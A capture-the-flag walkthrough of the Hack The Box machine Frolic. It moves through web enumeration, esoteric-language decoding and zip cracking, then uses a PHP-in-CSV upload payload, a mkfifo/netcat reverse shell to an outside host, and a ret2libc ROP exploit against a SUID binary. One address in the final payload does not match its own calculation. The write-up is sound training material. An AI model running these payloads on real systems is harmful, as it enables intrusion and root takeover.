Frolic

23/03/2019

To get user on Frolic we will have to see a couple of esoteric programming languages and exploit a simple file upload vulnerability. Then, to get root, we just have to make a ROP exploit to escalate privileges.


User

First run nmap and see we have a bunch of ports open.

root@kali:~/htb/frolic# nmap -sC -sV 10.10.10.111
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 07:56 UTC
Nmap scan report for 10.10.10.111
Host is up (0.19s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h49m59s, deviation: 3h10m30s, median: 0s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2019-02-12T13:26:44+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-02-12 07:56:44
|_  start_date: N/A

In http://10.10.10.111:9999 we have an nginx default page, so let's run gobuster to try to find some web content.

root@kali:~/htb/frolic# /opt/gobuster/gobuster -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.111:9999/

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.111:9999/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/02/12 07:59:20 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/admin (Status: 301)
/backup (Status: 301)
/dev (Status: 301)
/test (Status: 301)
=====================================================
2019/02/12 08:00:18 Finished
=====================================================

In /test we have the php details, nothing interesting.

In /admin we have a quite strange login panel.

Looking at the source code we can see the credentials are hardcoded there.

var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}

Using admin/superduperlooperpassword_lol in the login panel we get redirected to /admin/success.html where we have the following text.

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?. 

This is some Ook! code, which is an esoteric programming language.

It is identical to Brainfuck, except that the instructions are changed into Orangutan words.
https://esolangs.org/wiki/ook!

We can use this page to decode it and get this text.

Nothing here check /asdiSIAJJ0QWE9JAS

If we go to http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ we find this base64 message.

UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA 

If we decode it we get a zip archive.

root@kali:~/htb/frolic# echo -n UEsDBBQACQAI... | base64 -d > caca
root@kali:~/htb/frolic# file caca
caca: Zip archive data, at least v2.0 to extract

It is password protected but we can easily brute force the password using fcrackzip.

root@kali:~/htb/frolic# fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt caca 

PASSWORD FOUND!!!!: pw == password

Using password as password (very clever!) we get a php file.

root@kali:~/htb/frolic# unzip caca
Archive:  caca
[caca] index.php password: 
  inflating: index.php   

But it's not php code, it's some sort of hex value.

root@kali:~/htb/frolic# cat index.php 
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

Translate it to ascii and get another base64.

root@kali:~/htb/frolic# cat index.php | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Decode it and get more strange characters.

root@kali:~/htb/frolic# echo -n KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwrKysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysgK1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0tLS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg== | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..< 

Those characters are some Brainfuck code, we can decode it using this page and get the following text.

idkwhatispass

After this trip through esoteric languages and having, what it seems to be, a password, we can continue with the result of gobuster and check /backup directory.

root@kali:~/htb/frolic# curl http://10.10.10.111:9999/backup/
password.txt
user.txt
loop/

We have some credentials admin/imnothuman in those files.

root@kali:~/htb/frolic# curl http://10.10.10.111:9999/backup/password.txt
password - imnothuman
root@kali:~/htb/frolic# curl http://10.10.10.111:9999/backup/user.txt
user - admin
root@kali:~/htb/frolic# curl http://10.10.10.111:9999/backup/loop/
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>

We'll run gobuster again to see if there's something under /dev directory.

root@kali:~/htb/frolic# /opt/gobuster/gobuster -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.111:9999/dev/

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.111:9999/dev/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/02/12 08:16:53 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/backup (Status: 301)
/test (Status: 200)
=====================================================
2019/02/12 08:17:50 Finished
=====================================================

In /dev/test we just have the word test, nothing useful.

root@kali:~/htb/frolic# curl http://10.10.10.111:9999/dev/test
test

In /dev/backup we have the name of a directory /playsms.

root@kali:~/htb/frolic# curl http://10.10.10.111:9999/dev/backup/
/playsms

If we access to http://10.10.10.111:9999/playsms we get a login panel.

We can login with the password we found before admin/idkwhatispass.

PlaySMS is a Web-based mobile portal system and, we could say after a quick Google search, contains numerous vulnerabilities.

We're going to exploit a file upload remote code execution vulnerability, which is caused by improper file contents handling.

We have to go to My account -> Phonebook -> Import button (http://10.10.10.111:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list).

We're going to create a malicious csv file which will execute whoami in the machine.

root@kali:~/htb/frolic# echo -ne 'Name,Mobile,Email\n<?php echo system("whoami") ?>,66,22' > caca.csv

After upload it, we can see the following confirmation where we have the output from whoami.

Now instead of running whoami we will make a reverse shell.

root@kali:~/htb/frolic# echo -ne 'Name,Mobile,Email\n<?php echo system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.35 6969 >/tmp/f") ?>,66,22' > caca.csv

If we listen on the specified port we get a shell as www-data.

root@kali:~/htb/frolic# nc -nlvp 6969
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6969
Ncat: Listening on 0.0.0.0:6969
Ncat: Connection from 10.10.10.111.
Ncat: Connection from 10.10.10.111:54158.
/bin/sh: 0: can't access tty; job control turned off
$ 

We can read the user flag which is in ayush home directory.

$ cat /home/ayush/user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Privilege Escalation

In ayush .binary directory we have a strange binary with the SUID flag set, which means it will run with the permissions of its owner (root).

$ ls -la /home/ayush/.binary   
total 16
drwxrwxr-x 2 ayush ayush 4096 Sep 25 02:43 .
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 ..
-rwsr-xr-x 1 root  root  7480 Sep 25 00:59 rop

The usage is simple, we have to pass a string as argument and it will be sent somewhere.

$ ./rop
[*] Usage: program <message>
$ ./rop holi
[+] Message sent: holi

We're sending the binary to our local machine to make a proper inspection.

$ python -m SimpleHTTPServer 6666
root@kali:~/htb/frolic# wget 10.10.10.111:6666/rop

As its filename suggests, we're going to probably have to make a ROP (Return-Oriented Programming) exploit.

The first thing we have to check is if we pass an enough large parameter, the program exits with a Segmentation fault error.

root@kali:~/htb/frolic# ./rop aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

We're going to create a pattern to determine the exact offset with pattern_create.rb and pattern_offset.rb metasploit scripts.

root@kali:~/htb/frolic# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

I'm debugging the binary with gdb-peda, but there are plenty of debuggers such as r2 available.

Run the binary with the pattern we have just created.

root@kali:~/htb/frolic# gdb rop
gdb-peda$ run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

We can see the execution failed because it tried to jump to an unknown memory address (0x62413762).

EIP: 0x62413762 ('b7Ab')

This value is part of our pattern and using pattern_offset.rb we can calculate the exact offset, which is 52.

root@kali:~/htb/frolic# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 100 -q b7Ab
[*] Exact match at offset 52

Now we control the value of the EIP register and therefore the execution flow of the program.

We can test this by sending 52 bytes of junk (A) and 4 bytes that are going to be the EIP value at some point (B).

gdb-peda$ run `python -c "print 'A'*52 + 'B'*4"`

When the program crashes we can see it tried to jump to 0x42424242 (BBBB) as we expected.

EIP: 0x42424242 ('BBBB')

Because we have the no-execute (NX) bit set, we can't execute code in certain areas of memory being unable to load our code, that's why we will make a ROP exploit, executing code that is already present in memory.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

What we're going to do is make the program execute system("/bin/sh") to get a shell. To do that we need the address of the system function and the address of a "/bin/sh" string variable to pass it as argument. We're also getting the exit function address to make the program exit correctly. We could just put some junk there instead like 'BBBB', in that case the program would jump to 0x42424242 after calling system("/bin/sh") and crash, but we don't mind here. Anyway, we're doing it right and calling exit.

gdb-peda$ break main
gdb-peda$ run
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xf7e02b30 <system>
gdb-peda$ print exit
$2 = {<text variable, no debug info>} 0xf7df5b30 <exit>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f42aaa ("/bin/sh")

These are the addresses I got (could be different in another machine).

system: 0xf7e02b30
exit: 0xf7df5b30
"/bin/sh": 0xf7f42aaa

To test it locally we have to disable Address Space Layout Randomization (ASLR) because if not the addresses could change on runtime.

root@kali:~/htb/frolic# echo 0 > /proc/sys/kernel/randomize_va_space

Use the addresses obtained to make the payload and we should get our shell.

PAYLOAD = offset + @system + @exit + @params

root@kali:~/htb/frolic# ./rop `python -c "print 'A'*52 + '\x30\x2b\xe0\xf7' + '\x30\x5b\xdf\xf7' + '\xaa\x2a\xf4\xf7'"`
# id
uid=0(root) gid=0(root) groups=0(root)

Now that we know it works we can turn on ASLR again.

root@kali:~/htb/frolic# echo 2 > /proc/sys/kernel/randomize_va_space

To make the exploit work in frolic we have to change the addresses to its corresponding ones in this machine. We can see the binary is using libc.so.6 in 0xb7e19000.

$ ldd rop
	linux-gate.so.1 =>  (0xb7fda000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	/lib/ld-linux.so.2 (0xb7fdb000)

Since we don't have gdb here, we can use readelf, strings and grep to find the addresses of system, exit and "/bin/sh" in libc.so.6.

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "exit"
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 15ba0b /bin/sh

We have to add to these addresses the address of libc.so.6 and we get the following values.

system: 0xb7e19000 + 0x0003ada0 = 0xB7E53DA0
exit: 0xb7e19000 + 0x0002e9d0 = 0xB7E479D0
"/bin/sh": 0xb7e19000 + 0x15ba0b = 0xB7F74A0B

Running the binary in the same way we did before but with the obtained addresses will get us a root shell.

$ ./rop `python -c "print 'A'*52 + '\xa0\x3d\xe5\xb7' + '\xd0\x79\xe4\xb4' + '\x0b\x4a\xf7\xb7'"`
id
uid=0(root) gid=33(www-data) groups=33(www-data)

The root flag is in root's directory.

cat /root/root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX